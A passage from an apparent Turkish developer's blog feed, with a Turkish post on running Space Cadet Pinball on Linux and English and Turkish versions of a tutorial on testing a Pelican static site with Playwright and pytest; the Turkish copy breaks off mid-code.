<p>&Idot;nternetin T&uuml;rkiye&rsquo;de hen&uuml;z bu kadar yayg&inodot;n olmad&inodot;&gbreve;&inodot;, her sabah okula gitmeden &ouml;nce ailenin "elektronik e&scedil;ya" alerjisine ra&gbreve;men gizli sakl&inodot; bilgisayar&inodot; a&ccedil;t&inodot;&gbreve;&inodot;m&inodot;z o b&uuml;y&uuml;l&uuml; g&uuml;nleri hat&inodot;rlar m&inodot;s&inodot;n&inodot;z? CRT monit&ouml;r&uuml;n o hafif c&inodot;z&inodot;rt&inodot;l&inodot; sesi e&scedil;li&gbreve;inde, hoparl&ouml;r&uuml;n sesini en k&inodot;s&inodot;&gbreve;a getirip, Windows XP&rsquo;nin o me&scedil;hur <code>Space Cadet Pinball</code> oyununu ba&scedil;lat&inodot;rd&inodot;k. Solitaire &ccedil;ok s&inodot;k&inodot;c&inodot;yd&inodot;, May&inodot;n Tarlas&inodot; ise o ya&scedil;larda fazla karma&scedil;&inodot;kt&inodot;; ama o topun sesi, o &inodot;&scedil;&inodot;klar... &Idot;&scedil;te o ger&ccedil;ek bir ka&ccedil;&inodot;&scedil;t&inodot;.</p> <p>"Old but gold" deyiminin tam kar&scedil;&inodot;l&inodot;&gbreve;&inodot; olan bu efsane, asl&inodot;nda tersine m&uuml;hendislik sayesinde bug&uuml;n Linux makinelerimizde her zamankinden daha canl&inodot;. Gelin bu nostaljiyi modern sistemlerimize nas&inodot;l ta&scedil;&inodot;r&inodot;z, beraber bakal&inodot;m.</p> <h2 id="kurulum-arch-yolu-ve-digerleri">🛠️ Kurulum: Arch Yolu ve Di&gbreve;erleri<a class="headerlink" href="#kurulum-arch-yolu-ve-digerleri" title="Permanent link">#</a></h2> <p>Arch Linux kullan&inodot;c&inodot;s&inodot; olarak benim favorim tabii ki AUR &uuml;zerinden gitmek; ancak Flatpak&rsquo;in de kendine has bir pratikli&gbreve;i var. Her iki yolu da buraya b&inodot;rak&inodot;yorum.</p> <h3 id="1-arch-linux-aur-yontemi">1. Arch Linux (AUR) Y&ouml;ntemi<a class="headerlink" href="#1-arch-linux-aur-yontemi" title="Permanent link">#</a></h3> <p>E&gbreve;er bir Arch kurduysan&inodot;z, Playwright yaz&inodot;mda bahsetti&gbreve;im o <code>yuceltoluyag@archlinux</code> terminal disipliniyle devam edelim:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>yay<span class="w"> </span>-S<span class="w"> </span>space-cadet-pinball-git </code></pre></div> <h3 id="2-flatpak-yontemi">2. Flatpak Y&ouml;ntemi<a class="headerlink" href="#2-flatpak-yontemi" title="Permanent link">#</a></h3> <p>E&gbreve;er sistemler aras&inodot; ta&scedil;&inodot;nabilirlik isterseniz, Flathub imdad&inodot;m&inodot;za yeti&scedil;iyor:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>flatpak<span class="w"> </span>install<span class="w"> </span>com.github.k4zmu2a.spacecadetpinball </code></pre></div> <h2 id="teknik-level-up-1024x768-cozunurluk-full-tilt_1">🚀 Teknik "Level Up": 1024x768 &Ccedil;&ouml;z&uuml;n&uuml;rl&uuml;k (Full Tilt!)<a class="headerlink" href="#teknik-level-up-1024x768-cozunurluk-full-tilt" title="Permanent link">#</a></h2> <p>Orijinal oyun 480p &ccedil;&ouml;z&uuml;n&uuml;rl&uuml;kteydi ve modern monit&ouml;rlerde biraz "&ccedil;amur" gibi g&ouml;r&uuml;nebilir. Ancak zaman&inodot;nda "Full Tilt! Pinball" ad&inodot;yla sat&inodot;lan versiyonun veri dosyalar&inodot;n&inodot; kullanarak &ccedil;&ouml;z&uuml;n&uuml;rl&uuml;&gbreve;&uuml; devasa (evet o zamanlar i&ccedil;in devasayd&inodot;) <strong>1024x768</strong> seviyesine &ccedil;&inodot;karabiliriz.</p> <h3 id="nasl-yaplr-flatpak-icin">Nas&inodot;l Yap&inodot;l&inodot;r? (Flatpak i&ccedil;in)<a class="headerlink" href="#nasl-yaplr-flatpak-icin" title="Permanent link">#</a></h3> <ol> <li>Oyunu en az bir kere &ccedil;al&inodot;&scedil;t&inodot;r&inodot;n ki veri klas&ouml;r&uuml; olu&scedil;sun.</li> <li><code>Archive.org</code> &uuml;zerinden "Full Tilt Pinball" verilerini bulun ve <code>CADET.ZIP</code> i&ccedil;indekileri &scedil;u klas&ouml;re bo&scedil;alt&inodot;n: <code>bash yuceltoluyag@archlinux:~$ cd ~/.var/app/com.github.k4zmu2a.spacecadetpinball/data/SpaceCadetPinball yuceltoluyag@archlinux:~$ unzip ~/Downloads/CADET.ZIP</code></li> <li>Eski d&uuml;&scedil;&uuml;k &ccedil;&ouml;z&uuml;n&uuml;rl&uuml;kl&uuml; dosyalar&inodot;n oyun taraf&inodot;ndan &ouml;ncelikli g&ouml;r&uuml;lmemesi i&ccedil;in onlar&inodot; temizlememiz gerekebilir (Sudo gerekebilir): <code>bash yuceltoluyag@archlinux:~$ sudo rm -r $(flatpak info --show-location com.github.k4zmu2a.spacecadetpinball)/files/extra/Pinball</code></li> </ol> <h2 id="kucuk-bir-not-kurallar-degisiyor-mu_1">🧠 K&uuml;&ccedil;&uuml;k Bir Not: Kurallar De&gbreve;i&scedil;iyor mu?<a class="headerlink" href="#kucuk-bir-not-kurallar-degisiyor-mu" title="Permanent link">#</a></h2> <p>Full Tilt verilerini kulland&inodot;&gbreve;&inodot;n&inodot;zda ilgin&ccedil; bir detay fark edeceksiniz: Orijinal versiyonda f&inodot;rlatma t&uuml;nelindeki &inodot;&scedil;&inodot;klar top &uuml;zerinden ge&ccedil;tik&ccedil;e yan&inodot;p s&ouml;nerken (toggle), Full Tilt versiyonunda yan&inodot;k kal&inodot;yor. Bu da bumper&rsquo;lar&inodot; (tamponlar&inodot;) geli&scedil;tirmeyi bir nebze kolayla&scedil;t&inodot;r&inodot;yor. Benim gibi bir "pinball nerd"&uuml;yseniz bu fark&inodot; hemen hissedeceksiniz.</p> <hr/> <h2 id="son-soz-neden-hala-oynuyoruz">🥊 Son S&ouml;z: Neden Hala Oynuyoruz?<a class="headerlink" href="#son-soz-neden-hala-oynuyoruz" title="Permanent link">#</a></h2> <p>Bug&uuml;n 4K &ccedil;&ouml;z&uuml;n&uuml;rl&uuml;kte, &inodot;&scedil;&inodot;n izlemeli (ray tracing) oyunlar oynuyoruz ama hi&ccedil;birisi o sabah ayaz&inodot;nda, okul formas&inodot;yla, aileye yakalanma korkusuyla oynanan Pinball&rsquo;un yerini tutmuyor. Bu oyun bizim i&ccedil;in sadece bir yaz&inodot;l&inodot;m de&gbreve;il; &ccedil;ocuklu&gbreve;umuzun, teknolojiye olan o saf merak&inodot;m&inodot;z&inodot;n ve "g&uuml;zel g&uuml;nlerin" bir par&ccedil;as&inodot;.</p> <p>Siz de kurun, bir el at&inodot;n ve o topun sesini duydu&gbreve;unuzda g&ouml;zleriniz dolarsa bilin ki yaln&inodot;z de&gbreve;ilsiniz. <code>Friday13</code> skorunu ge&ccedil;meyi denemeyi unutmay&inodot;n!</p> <p>Hadi eyvallah karda&scedil;!</p> <hr/> <h2 id="ilgili-yazlar">🔗 &Idot;lgili Yaz&inodot;lar<a class="headerlink" href="#ilgili-yazlar" title="Permanent link">#</a></h2> <ul> <li><a href="/pelican-statik-site-playwright-test/">Pelican Statik Sitenizi Playwright ile Test Edin</a></li> <li><a href="/arch-linux-cpu-performans-ayarlari/">Arch Linux CPU Performans Ayarlar&inodot;</a></li> <li><a href="/raspberry-pi-zero-ram-diskless-web-server/">Diskleri &Ccedil;&ouml;pe At&inodot;n: Raspberry Pi Zero ile RAM &Uuml;st&uuml;nde Site Bar&inodot;nd&inodot;rmak</a></li> </ul>2026-05-11T01:48:00+03:002026-05-11T01:48:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-11:/en/pelican-statik-site-playwright-test/

<p>I explain how to put your static site produced with Pelican through automatic tests using Playwright and Python before taking it live.</p>

<p>In my previous <a href="/en/playwright-arch-linux-kurulum/">Playwright Arch Linux Installation</a> post, I explained how to install this beast on our system. Now it's time to put that power into action to debug errors on our own blog (Pelican).</p> <p>Creating a static site is easy, but as complex themes and JavaScript plugins increase, the fear of "did something break?" begins. Let's take a closer look at how we can automate testing of our Pelican site with the <code>uv</code> and <code>playwright</code> duo.</p> <h2 id="why-playwright-pelican-perspective">🛠️ Why Playwright? (Pelican Perspective)<a class="headerlink" href="#why-playwright-pelican-perspective" title="Permanent link">#</a></h2> <p>When you compile your Pelican site with <code>pelican content -o output</code>, you are left with a bunch of HTML files. However: 1. Is your "Dark Mode" button working with JavaScript? 2. Is there a hidden <code>404</code> or <code>Uncaught TypeError</code> in the console? 3. Does that animation you love so much break during transitions between pages?</p> <p>We can only understand these by programming a browser (headless browser).</p> <h2 id="preparing-the-test-environment-with-uv">📦 Preparing the Test Environment with uv<a class="headerlink" href="#preparing-the-test-environment-with-uv" title="Permanent link">#</a></h2> <p>You're still not using standard <code>pip</code>, right? Let's set up the test environment in seconds with <code>uv</code>:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>uv<span class="w"> </span>add<span class="w"> </span>--dev<span class="w"> </span>pytest<span class="w"> </span>playwright yuceltoluyag@archlinux:~$<span class="w"> </span>uv<span class="w"> </span>run<span class="w"> </span>playwright<span class="w"> </span>install<span class="w"> </span>webkit </code></pre></div> <h2 id="the-fixture-that-catches-insidious-errors">🧠 The Fixture That Catches Insidious Errors<a class="headerlink" href="#the-fixture-that-catches-insidious-errors" title="Permanent link">#</a></h2> <p>This is the expert part of the job. We're not just looking at whether the page opened; we're setting up a "strict" test fixture that catches every error that drops into the console in the background. Let's bury this inside <code>tests/conftest.py</code>:</p> <div class="highlight"><pre><span></span><code><span class="kn">import</span><span class="w"> </span><span class="nn">pytest</span> <span class="kn">from</span><span class="w"> </span><span class="nn">playwright.sync_api</span><span class="w"> </span><span class="kn">import</span> <span class="n">sync_playwright</span> <span class="nd"><a href="https://twitter.com/pytest">@pytest</a></span><span class="o">.</span><span class="n">fixture</span><span class="p">(</span><span class="n">scope</span><span class="o">=</span><span class="s2">"session"</span><span class="p">)</span> <span class="k">def</span><span class="w"> </span><span class="nf">browser</span><span class="p">():</span> <span class="k">with</span> <span class="n">sync_playwright</span><span class="p">()</span> <span class="k">as</span> <span class="n">p</span><span class="p">:</span> <span class="n">browser</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">webkit</span><span class="o">.</span><span class="n">launch</span><span class="p">()</span> <span class="k">yield</span> <span class="n">browser</span> <span class="n">browser</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="nd"><a href="https://twitter.com/pytest">@pytest</a></span><span class="o">.</span><span class="n">fixture</span> <span class="k">def</span><span class="w"> </span><span class="nf">page</span><span class="p">(</span><span class="n">browser</span><span class="p">):</span> <span class="n">context</span> <span class="o">=</span> <span class="n">browser</span><span class="o">.</span><span class="n">new_context</span><span class="p">()</span> <span class="n">page</span> <span class="o">=</span> <span class="n">context</span><span class="o">.</span><span class="n">new_page</span><span class="p">()</span> <span class="c1"># Let's accumulate console errors</span> <span class="n">errors</span> <span class="o">=</span> <span class="p">[]</span> <span class="n">page</span><span class="o">.</span><span class="n">on</span><span class="p">(</span><span class="s2">"pageerror"</span><span class="p">,</span> <span class="k">lambda</span> <span class="n">exc</span><span class="p">:</span> <span class="n">errors</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">exc</span><span class="p">))</span> <span class="n">page</span><span class="o">.</span><span class="n">on</span><span class="p">(</span><span class="s2">"console"</span><span class="p">,</span> <span class="k">lambda</span> <span class="n">msg</span><span class="p">:</span> <span class="n">errors</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">text</span><span class="p">)</span> <span class="k">if</span> <span class="n">msg</span><span class="o">.</span><span class="n">type</span> <span class="o">==</span> <span class="s2">"error"</span> <span class="k">else</span> <span class="kc">None</span><span class="p">)</span> <span class="k">yield</span> <span class="n">page</span> <span class="c1"># Explode if there are errors when the test is done!</span> <span class="k">assert</span> <span class="ow">not</span> <span class="n">errors</span><span class="p">,</span> <span class="sa">f</span><span class="s2">"JavaScript errors found on page: </span><span class="si">{</span><span class="n">errors</span><span class="si">}</span><span class="s2">"</span> <span class="n">context</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> </code></pre></div> <h2 id="basic-and-advanced-test-scenarios">🧪 Basic and Advanced Test Scenarios<a class="headerlink" href="#basic-and-advanced-test-scenarios" title="Permanent link">#</a></h2> <p>We will test the files in the <code>output</code> folder produced by Pelican directly using the <code>file:///</code> protocol. Here are a few "lifesaving" test examples:</p> <h3 id="1-page-loading-and-title-check">1. Page Loading and Title Check<a class="headerlink" href="#1-page-loading-and-title-check" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code><span class="kn">from</span><span class="w"> </span><span class="nn">pathlib</span><span class="w"> </span><span class="kn">import</span> <span class="n">Path</span> <span class="kn">from</span><span class="w"> </span><span class="nn">urllib.request</span><span class="w"> </span><span class="kn">import</span> <span class="n">pathname2url</span> <span class="kn">from</span><span class="w"> </span><span class="nn">playwright.sync_api</span><span class="w"> </span><span class="kn">import</span> <span class="n">expect</span> <span class="k">def</span><span class="w"> </span><span class="nf">test_home_page_loads</span><span class="p">(</span><span class="n">page</span><span class="p">):</span> <span class="n">index_path</span> <span class="o">=</span> <span class="n">Path</span><span class="p">(</span><span class="s2">"output/index.html"</span><span class="p">)</span><span class="o">.</span><span class="n">absolute</span><span class="p">()</span> <span class="n">page</span><span class="o">.</span><span class="n">goto</span><span class="p">(</span><span class="sa">f</span><span class="s2">"file://</span><span class="si">{</span><span class="n">pathname2url</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">index_path</span><span class="p">))</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span> <span class="n">expect</span><span class="p">(</span><span class="n">page</span><span class="p">)</span><span class="o">.</span><span class="n">to_have_title</span><span class="p">(</span><span class="s2">"Y&uuml;cel Toluyag"</span><span class="p">)</span> </code></pre></div> <h3 id="2-testing-when-javascript-is-disabled-expert-tip">2. Testing When JavaScript is Disabled (Expert Tip)<a class="headerlink" href="#2-testing-when-javascript-is-disabled-expert-tip" title="Permanent link">#</a></h3> <p>Your site should be readable even when JS is turned off. It's very easy to test this with Playwright:</p> <div class="highlight"><pre><span></span><code><span class="k">def</span><span class="w"> </span><span class="nf">test_no_js_fallback</span><span class="p">(</span><span class="n">browser</span><span class="p">):</span> <span class="c1"># Open a new context, turn off JS</span> <span class="n">context</span> <span class="o">=</span> <span class="n">browser</span><span class="o">.</span><span class="n">new_context</span><span class="p">(</span><span class="n">java_script_enabled</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span> <span class="n">page</span> <span class="o">=</span> <span class="n">context</span><span class="o">.</span><span class="n">new_page</span><span class="p">()</span> <span class="n">page</span><span class="o">.</span><span class="n">goto</span><span class="p">(</span><span class="sa">f</span><span class="s2">"file://</span><span class="si">{</span><span class="n">pathname2url</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">Path</span><span class="p">(</span><span class="s1">'output/index.html'</span><span class="p">)</span><span class="o">.</span><span class="n">absolute</span><span class="p">()))</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span> <span class="c1"># If you display an error message in &lt;noscript&gt;, check it</span> <span class="c1"># Or verify that the critical content is still there</span> <span class="n">expect</span><span class="p">(</span><span class="n">page</span><span class="o">.</span><span class="n">get_by_text</span><span class="p">(</span><span class="s2">"Y&uuml;cel Toluyag"</span><span class="p">))</span><span class="o">.</span><span class="n">to_be_visible</span><span class="p">()</span> <span class="n">context</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> </code></pre></div> <h3 id="3-redirect-and-link-check">3. Redirect and Link Check<a class="headerlink" href="#3-redirect-and-link-check" title="Permanent link">#</a></h3> <p>If you redirected an old page of yours to a new URL, you can verify whether it works correctly via the status code:</p> <div class="highlight"><pre><span></span><code><span class="k">def</span><span class="w"> </span><span class="nf">test_internal_redirect</span><span class="p">(</span><span class="n">page</span><span class="p">):</span> <span class="n">response</span> <span class="o">=</span> <span class="n">page</span><span class="o">.</span><span class="n">goto</span><span class="p">(</span><span class="s2">"https://yuceltoluyag.com/eski-yazi/"</span><span class="p">)</span> <span class="k">assert</span> <span class="n">response</span><span class="o">.</span><span class="n">status</span> <span class="o">==</span> <span class="mi">200</span> <span class="k">assert</span> <span class="n">response</span><span class="o">.</span><span class="n">url</span> <span class="o">==</span> <span class="s2">"https://yuceltoluyag.com/yeni-yazi/"</span> </code></pre></div> <h3 id="4-relational-dom-checks-with-xpath">4. Relational DOM Checks with XPath<a class="headerlink" href="#4-relational-dom-checks-with-xpath" title="Permanent link">#</a></h3> <p>Sometimes CSS selectors are not enough. For example, you can use XPath to select the button immediately next to or below a specific heading:</p> <div class="highlight"><pre><span></span><code><span class="k">def</span><span class="w"> </span><span class="nf">test_article_sibling_button</span><span class="p">(</span><span class="n">page</span><span class="p">):</span> <span class="c1"># Find the 'Read more' button immediately following the 'Articles' header</span> <span class="n">button</span> <span class="o">=</span> <span class="n">page</span><span class="o">.</span><span class="n">locator</span><span class="p">(</span><span class="s2">"xpath=//h2[contains(text(), 'Makaleler')]/following-sibling::a[1]"</span><span class="p">)</span> <span class="n">expect</span><span class="p">(</span><span class="n">button</span><span class="p">)</span><span class="o">.</span><span class="n">to_have_attribute</span><span class="p">(</span><span class="s2">"href"</span><span class="p">,</span> <span class="s2">"/makaleler/"</span><span class="p">)</span> </code></pre></div> <h2 id="running-the-tests_1">🚀 Running the Tests<a class="headerlink" href="#running-the-tests" title="Permanent link">#</a></h2> <p>When you type this command from the terminal, Playwright secretly opens the browser, scans the site produced by Pelican, and reports to you if there is a JS error or a broken structure:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>uv<span class="w"> </span>run<span class="w"> </span>pytest<span class="w"> </span>tests/ </code></pre></div> <h3 id="why-are-we-going-to-this-trouble">Why Are We Going to This Trouble?<a class="headerlink" href="#why-are-we-going-to-this-trouble" title="Permanent link">#</a></h3> <p>Because static sites are not "simple." Especially if you are writing your own theme or using complex CSS/JS structures, you always have the risk of breaking the entire site structure when updating an article. With Playwright, we reduce this risk to zero.</p> <p>Remember; writing tests is not a waste of time, it is insurance stolen from future sleepless nights. On this path you started with my <a href="/en/playwright-arch-linux-kurulum/">Playwright Arch Linux Installation</a> guide, your site now stands strong like a real engineering product, karda&scedil;.</p> <p>Alright then, goodbye!</p> <hr/> <h2 id="related-posts_1">🔗 Related Posts<a class="headerlink" href="#related-posts" title="Permanent link">#</a></h2> <ul> <li><a href="/en/playwright-arch-linux-kurulum/">Playwright Arch Linux Installation</a></li> <li><a href="/en/arch-linux-cpu-performans-ayarlari/">Arch Linux CPU Performance Settings</a></li> <li><a href="/en/raspberry-pi-zero-ram-diskless-web-server/">Throw Away the Disks: Hosting a Website on RAM with Raspberry Pi Zero</a></li> </ul>2026-05-11T01:48:00+03:002026-05-11T01:48:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-11:/pelican-statik-site-playwright-test/

<p>Pelican ile ürettiğiniz statik sitenizi yayına almadan önce Playwright ve Python kullanarak nasıl otomatik testlerden geçireceğinizi anlatıyorum.</p>

<p>Daha &ouml;nce <a href="/playwright-arch-linux-kurulum/">Playwright Arch Linux Kurulum</a> yaz&inodot;mda bu canavar&inodot; sistemimize nas&inodot;l kuraca&gbreve;&inodot;m&inodot;z&inodot; anlatm&inodot;&scedil;t&inodot;m. &Scedil;imdi o g&uuml;c&uuml;, kendi blogumuzdaki (Pelican) hatalar&inodot; ay&inodot;klamak i&ccedil;in sahaya s&uuml;rme vakti. </p> <p>Statik site kurmak kolay, ama karma&scedil;&inodot;k temalar ve JavaScript eklentileri artt&inodot;k&ccedil;a "bir yerler k&inodot;r&inodot;ld&inodot; m&inodot;?" korkusu ba&scedil;lar. Gelin, <code>uv</code> ve <code>playwright</code> ikilisiyle Pelican sitemizi nas&inodot;l otomatize test ederiz, yak&inodot;ndan bakal&inodot;m.</p> <h2 id="neden-playwright-pelican-perspektifi">🛠️ Neden Playwright? (Pelican Perspektifi)<a class="headerlink" href="#neden-playwright-pelican-perspektifi" title="Permanent link">#</a></h2> <p>Pelican sitenizi <code>pelican content -o output</code> ile derledi&gbreve;inizde elinizde bir s&uuml;r&uuml; HTML kal&inodot;r. Ancak: 1. JavaScript ile &ccedil;al&inodot;&scedil;an "Dark Mode" butonun &ccedil;al&inodot;&scedil;&inodot;yor mu? 2. Konsolda gizli bir <code>404</code> veya <code>Uncaught TypeError</code> var m&inodot;? 3. Sayfalar aras&inodot; ge&ccedil;i&scedil;lerde o &ccedil;ok sevdi&gbreve;in animasyon patl&inodot;yor mu?</p> <p>Bunlar&inodot; sadece bir taray&inodot;c&inodot;y&inodot; programlayarak (headless browser) anlayabiliriz.</p> <h2 id="uv-ile-test-ortamn-hazrlamak">📦 uv ile Test Ortam&inodot;n&inodot; Haz&inodot;rlamak<a class="headerlink" href="#uv-ile-test-ortamn-hazrlamak" title="Permanent link">#</a></h2> <p>Hala standart <code>pip</code> kullanm&inodot;yorsunuz de&gbreve;il mi? <code>uv</code> ile saniyeler i&ccedil;inde test ortam&inodot;n&inodot; kural&inodot;m:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>uv<span class="w"> </span>add<span class="w"> </span>--dev<span class="w"> </span>pytest<span class="w"> </span>playwright yuceltoluyag@archlinux:~$<span class="w"> </span>uv<span class="w"> </span>run<span class="w"> </span>playwright<span class="w"> </span>install<span class="w"> </span>webkit </code></pre></div> <h2 id="sinsi-hatalar-yakalayan-fixture">🧠 Sinsi Hatalar&inodot; Yakalayan Fixture<a class="headerlink" href="#sinsi-hatalar-yakalayan-fixture" title="Permanent link">#</a></h2> <p>&Idot;&scedil;in uzmanl&inodot;k (expert) k&inodot;sm&inodot; buras&inodot;. Sadece sayfa a&ccedil;&inodot;ld&inodot; m&inodot; diye bakm&inodot;yoruz; arka planda konsola d&uuml;&scedil;en her hatay&inodot; yakalayan "kat&inodot;" (strict) bir test fixture'&inodot; kuruyoruz. <code>tests/conftest.py</code> i&ccedil;ine &scedil;unu g&ouml;melim:</p> <div class="highlight"><pre><span></span><code><span class="kn">import</span><span class="w"> </span><span class="nn">pytest</span> <span class="kn">from</span><span class="w"> </span><span class="nn">playwright.sync_api</span><span class="w"> </span><span class="kn">import</span> <span class="n">sync_playwright</span> <span class="nd"><a href="https://twitter.com/pytest">@pytest</a></span><span class="o">.</span><span class="n">fixture</span><span class="p">(</span><span class="n">scope</span><span class="o">=</span><span class="s2">"session"</span><span class="p">)</span> <span class="k">def</span><span class="w"> </span><span class="nf">browser</span><span class="p">():</span> <span class="k">with</span> <span class="n">sync_playwright</span><span class="p">()</span> <span class="k">as</span> <span class="n">p</span><span class="p">:</span> <span class="n">browser</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">webkit</span><span class="o">.</span><span class="n">launch</span><span class="p">()</span> <span class="k">yield</span> <span class="n">browser</span> <span class="n">browser</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="nd"><a href="https://twitter.com/pytest">@pytest</a></span><span class="o">.</span><span class="n">fixture</span> <span class="k">def</span><span class="w"> </span><span class="nf">page</span><span class="p">(</span><span class="n">browser</span><span class="p">):</span> <span class="n">context</span> <span class="o">=</span> <span class="n">browser</span><span class="o">.</span><span class="n">new_context</span><span class="p">()</span> <span class="n">page</span> <span class="o">=</span> <span class="n">context</span><span class="o">.</span><span class="n">new_page</span><span class="p">()</span> <span class="c1"># Konsol hatalar&inodot;n&inodot; biriktirelim</span> <span class="n">errors</span> <span class="o">=</span> <span class="p">[]</span> <span class="n">page</span><span class="o">.</span><span class="n">on</span><span class="p">(</span><span class="s2">"pageerror"</span><span class="p">,</span> <span class="k">lambda</span> <span class="n">exc</span><span class="p">:</span> <span class="n">errors</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">exc</span><span class="p">))</span> <span class="n">page</span><span class="o">.</span><span class="n">on</span><span class="p">(</span><span class="s2">"console"</span><span class="p">,</span> <span class="k">lambda</span> <span class="n">msg</span><span class="p">:</span> <span class="n">errors</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">text</span><span class="p">)</span> <span class="k">if</span> <span class="n">msg</span><span class="o">.</span><span class="n">type</span> <span class="o">==</span> <span class="s2">"error"</span> <span class="k">else</span> <span class="kc">None</span><span class="p">)</span> <span class="k">yield</span> <span class="n">page</span> <span class="c1"># Test bitti&gbreve;inde hata varsa patlat!</span> <span class="k">assert</span> <span class="ow">not</span> <span class="n">errors</span><span class="p">,</span> <span class="sa">f</span><span class="s2">"Sayfada JavaScript hatalar&inodot; bulundu: </span><span class="si">{</span><span class="n">errors</span><span class="si">}</span><span class="s2">"</span> <span class="n">context</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> </code></pre></div> <h2 id="temel-ve-ileri-seviye-test-senaryolar">🧪 Temel ve &Idot;leri Seviye Test Senaryolar&inodot;<a class="headerlink" href="#temel-ve-ileri-seviye-test-senaryolar" title="Permanent link">#</a></h2> <p>Pelican'&inodot;n &uuml;retti&gbreve;i <code>output</code> klas&ouml;r&uuml;ndeki dosyalar&inodot; do&gbreve;rudan <code>file:///</code> protokol&uuml; ile test edece&gbreve;iz. &Idot;&scedil;te birka&ccedil; "hayat kurtaran" test &ouml;rne&gbreve;i:</p> <h3 id="1-sayfa-yuklenmesi-ve-baslk-kontrolu">1. Sayfa Y&uuml;klenmesi ve Ba&scedil;l&inodot;k Kontrol&uuml;<a class="headerlink" href="#1-sayfa-yuklenmesi-ve-baslk-kontrolu" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code><span class="kn">from</span><span class="w"> </span><span class="nn">pathlib</span><span class="w"> </span><span class="kn">import</span> <span class="n">Path</span> <span class="kn">from</span><span class="w"> </span><span class="nn">urllib.request</span><span class="w"> </span><span class="kn">import</span> <span class="n">pathname2url</span> <span class="kn">from</span><span class="w"> </span><span class="nn">playwright.sync_api</span><span class="w"> </span><span class="kn">import</span> <span class="n">expect</span> <span class="k">def</span><span class="w"> </span><span class="nf">test_home_page_loads</span><span class="p">(</span><span class="n">page</span><span class="p">):</span> <span class="n">index_path</span> <span class="o">=</span> <span class="n">Path</span><span class="p">(</span><span class="s2">"output/index.html"</span><span class="p">)</span><span class="o">.</span><span class="n">absolute</span><span class="p">()</span> <span class="n">page</span><span class="o">.</span><span class="n">goto</span><span class="p">(</span><span class="sa">f</span><span class="s2">"file://</span><span class="si">{</span><span class="n">pathname2url</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">index_path</span><span class="p">))</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span> <span class="n">expect</span><span class="p">(</span><span class="n">page</span><span class="p">)</span><span class="o">.</span><span class="n">to_have_title</span><span class="p">(</span><span class="s2">"Y&uuml;cel Toluyag"</span><span class="p">)</span> </code></pre></div> <h3 id="2-javascript-devre-dsyken-test-etme-expert-tip">2. JavaScript Devre D&inodot;&scedil;&inodot;yken Test Etme (Expert Tip)<a class="headerlink" href="#2-javascript-devre-dsyken-test-etme-expert-tip" title="Permanent link">#</a></h3> <p>Siteniz JS kapal&inodot;yken de okunabilir olmal&inodot;. Playwright ile bunu test etmek &ccedil;ok kolay:</p> <div class="highlight"><pre><span></span><code><span class="k">def</span><span class="w"> </span><span class="nf">test_no_js_fallback</span><span class="p">(</span><span class="n">browser</span><span class="p">):</span> <span class="c1"># Yeni bir context a&ccedil;, JS'i kapat</span> <span class="n">context</span> <span class="o">=</span> <span class="n">browser</span><span class="o">.</span><span class="n">new_context</span><span class="p">(</span><span class="n">java_script_enabled</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span> <span class="n">page</span> <span class="o">=</span> <span class="n">context</span><span class="o">.</span><span class="n">new_page</span><span class="p">()</span> <span class="n">page</span><span class="o">.</span><span class="n">goto</span><span class="p">(</span><span class="sa">f</span><span class="s2">"file://</span><span class="si">{</span><span class="n">pathname2url</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">Path</span><span class="p">(</span><span class="s1">'output/index.html'</span><span class="p">)</span><span class="o">.</span><span class="n">absolute</span><span class="p">()))</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span> <span class="c1"># E&gbreve;er &lt;noscript&gt; i&ccedil;inde bir hata mesaj&inodot; g&ouml;steriyorsan&inodot;z onu kontrol edin</span> <span class="c1"># Veya kritik i&ccedil;eri&gbreve;in hala orada oldu&gbreve;unu do&gbreve;rulay&inodot;n</span> <span class="n">expect</span><span class="p">(</span><span class="n">page</span><span class="o">.</span><span class="n">get_by_text</span><span class="p">(</span><span class="s2">"Y&uuml;cel Toluyag"</span><span class="p">))</span><span class="o">.</span><span class="n">to_be_visible</span><span class="p">()</span> <span class="n">context</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> </code></pre></div> <h3 id="3-redirect-ve-link-kontrolu">3. Redirect ve Link Kontrol&uuml;<a class="headerlink" href="#3-redirect-ve-link-kontrolu" title="Permanent link">#</a></h3> <p>Eski bir sayfan&inodot;z&inodot; yeni bir URL'e y&ouml;nlendirdiyseniz, bunun do&gbreve;ru &ccedil;al&inodot;&scedil;&inodot;p &ccedil;al&inodot;&scedil;mad&inodot;&gbreve;&inodot;n&inodot; status code &uuml;zerinden do&gbreve;rulayabilirsiniz:</p> <div class="highlight"><pre><span></span><code><span class="k">def</span><span class="w"> </span><span class="nf">test_internal_redirect</span><span class="p">(</span><span class="n">page</span><span 